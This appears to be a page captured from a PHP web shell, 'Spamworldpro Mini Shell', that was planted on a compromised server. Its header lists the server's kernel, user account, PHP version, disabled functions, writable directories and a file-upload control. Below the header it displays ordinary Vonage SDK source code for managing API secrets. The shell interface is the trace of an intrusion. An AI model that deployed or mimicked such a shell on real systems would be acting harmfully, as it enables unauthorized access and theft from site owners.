Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ledger.corals.io/vendor/vonage/client-core/src/Secrets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ledger.corals.io/vendor/vonage/client-core/src/Secrets/Client.php
<?php

namespace Vonage\Secrets;

use Vonage\Client\APIClient;
use Vonage\Client\APIResource;
use Vonage\Entity\Hydrator\ArrayHydrator;
use Vonage\Entity\IterableAPICollection;

class Client implements APIClient
{
    /**
     * @var APIResource
     */
    protected $api;

    public function __construct(APIResource $api)
    {
        $this->api = $api;
    }

    public function getAPIResource(): APIResource
    {
        return $this->api;
    }

    public function get(string $accountId, string $id): Secret
    {
        $data = $this->api->get("${accountId}/secrets/${id}");

        return new Secret($data);
    }

    public function list(string $accountId): IterableAPICollection
    {
        $collection = $this->api->search(null, "/accounts/${accountId}/secrets");
        $hydrator = new ArrayHydrator();
        $hydrator->setPrototype(new Secret());
        $collection->setHydrator($hydrator);

        return $collection;
    }

    public function create(string $accountId, string $secret): Secret
    {
        $response = $this->api->create(['secret' => $secret], "/${accountId}/secrets");
        return new Secret($response);
    }

    public function revoke(string $accountId, string $id)
    {
        $this->api->delete("${accountId}/secrets/${id}");
    }
}

Spamworldpro Mini